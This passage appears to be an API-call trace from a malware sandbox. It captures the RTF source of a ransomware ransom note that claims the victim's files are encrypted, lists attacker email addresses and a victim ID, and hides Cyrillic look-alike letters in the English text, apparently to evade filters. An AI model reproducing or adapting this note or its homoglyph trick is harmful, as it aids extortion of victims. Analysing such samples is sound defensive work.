r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 